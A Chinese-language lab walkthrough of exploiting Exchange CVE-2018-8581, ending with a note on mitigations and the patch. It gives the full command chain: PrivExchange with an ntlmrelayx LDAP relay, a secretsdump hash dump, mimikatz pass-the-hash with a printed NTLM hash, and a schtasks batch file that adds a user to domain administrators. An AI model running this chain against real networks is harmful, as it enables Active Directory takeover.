概述
微软 Exchange Server于2018年11月份被爆出存在S.S.R.F漏洞,漏洞编号为:CVE-2018-8581,此漏洞微软已推出缓解措施,但是在1月22日又爆出了此漏洞的另一种方法,而利用这种新的方法将为AD带来严重的安全风险,此漏洞在实施微软的缓解措施之后,仍然会被成功attack。

本文将在以下环境中进行模拟演练:
1.Exchange2013 CU19(已实施微软推出的缓解措施,即删除相应注册表键值)
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8581
利用Exchange Server CVE-2018-8581+HASH传递玩爆AD
利用Exchange Server CVE-2018-8581+HASH传递玩爆AD

2.其他信息:
Attack主机:192.168.137.101(Centos7)
AD:DC01.contoso.com(WinServer2012R2,已打全Windows补丁)
Exchange Server:mail.contoso.com(一台CAS Server,一台Mailbox Server,版本为CU19)

测试目标:
将普通用户提升至域管理员权限,以完成控制整个AD的目标。

环境准备

GitHub:
https://github.com/dirkjanm/PrivExchange
privexchange.py
此工具只需登录Exchange Web服务即可订阅推送通知。这将使Exchange连接回您并作为系统进行身份验证。

httpattack.py
attack模块,可与ntlmrelayx.py一起使用,无需凭据即可执行attack。
为了让它运作:

 从GitHub克隆一下 git clone https://github.com/SecureAuthCorp/impacket
 将此文件复制到该/impacket/impacket/examples/ntlmrelayx/attacks/目录中。
 cd impacket
 用pip install . --upgrade或安装修改后的impacket版本pip install -e .

Attack过程

  1. 使用ntlmrelayx.py脚本建立反射监听服务端。

命令参数:
ntlmrelayx.py -t ldap://dc01.contoso.com --escalate-user user01
利用Exchange Server CVE-2018-8581+HASH传递玩爆AD

  1. attack

使用privexchange.py attack脚本,完成提权。
命令参数:
python privexchange.py -ah 192.168.137.101 mail.contoso.com -u user01 -d contoso.com
利用Exchange Server CVE-2018-8581+HASH传递玩爆AD
当出现以下信息,即表示已经成功完成***:
INFO: Using attacker URL: http://192.168.137.101/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

  1. 反射信息

我们回到服务器监听会话,可以看到DC01已经开始反射连接我们的服务端,并完成了最后的权限提升。

利用Exchange Server CVE-2018-8581+HASH传递玩爆AD

  1. 拉取NT HASH

使用secretsdump.py脚本完成NT HASH拉取。
命令参数:
secretsdump.py contoso/user01@dc01.contoso.com -just-dc
利用Exchange Server CVE-2018-8581+HASH传递玩爆AD
如图,我们已经顺利拉到contoso\administrator的密码HASH,接下来,我们就可以使用HASH传递attack,拿下DC服务器的管理员权限。

  1. 使用mimikatz.exe实现HASH传递attack

MimiKATZ工具下载地址:
https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20181209/mimikatz_trunk.zip

命令参数(以管理员权限运行):

1.  mimikatz.exe 
2.  privilege::debug
3.  sekurlsa::pth /domain:contoso.com /user:administrator /ntlm:72b0f0964c20877dd68d44bd99fbfcf6

利用Exchange Server CVE-2018-8581+HASH传递玩爆AD

我们编写一段添加普通用户到管理员组的Script,并保存为Add_admin.bat

@echo off
net localgroup "administrators" user01 /domain /add

利用特权会话将Script脚本拷贝到远程DC服务器上:
命令参数:
copy c:\add_admin.bat \\dc01.contoso.com\c$

  1. 在DC服务器上远程添加计划任务执行。

命令参数:
schtasks /create /s dc01.contoso.com /tn "hacker" /tr "c:\add_admin.bat" /sc ONCE /st 17:09 /u administrator
提示密码的时候,直接回车即可。
利用Exchange Server CVE-2018-8581+HASH传递玩爆AD

查看结果
Script脚本运行后,我们看到User01被添加到了Administrators组,并实现了远程桌面登录。
利用Exchange Server CVE-2018-8581+HASH传递玩爆AD
利用Exchange Server CVE-2018-8581+HASH传递玩爆AD
利用Exchange Server CVE-2018-8581+HASH传递玩爆AD

后记:
测试中发现,要实现此漏洞的利用,还是需要很多必要条件,比如需要拿到一个普通用户邮箱的帐号和密码,需要在内网发起attack等等,但是内网也不是绝对安全的,往往更多的风险,就来自于内部。
对于此漏洞的修补方法,微软还没有给出明确的方案,据说是等2月份才会推出相应的补丁,网上流传的几种方法,比如修改权限模型,SMB通信加密等,这些方法对系统变更都会比较大,特别是在大中型企业里面,这些变更多多少少都会产生不小的影响,比如其他系统的调用,客户端弹窗的出现等等,看大家按需选择,我个人建议加强内部监控,建立相关的一些策略加强内部安全,然后等微软的正式补丁。

请及时关注微软的补丁发补情况:
https://portal.msrc.microsoft.com/en-US/security-guidance

微软已于2019.2.12日推出CU22累积安全更新,此更新修复了此漏洞。
请参考:
https://support.microsoft.com/zh-cn/help/4345836/cumulative-update-22-for-exchange-server-2013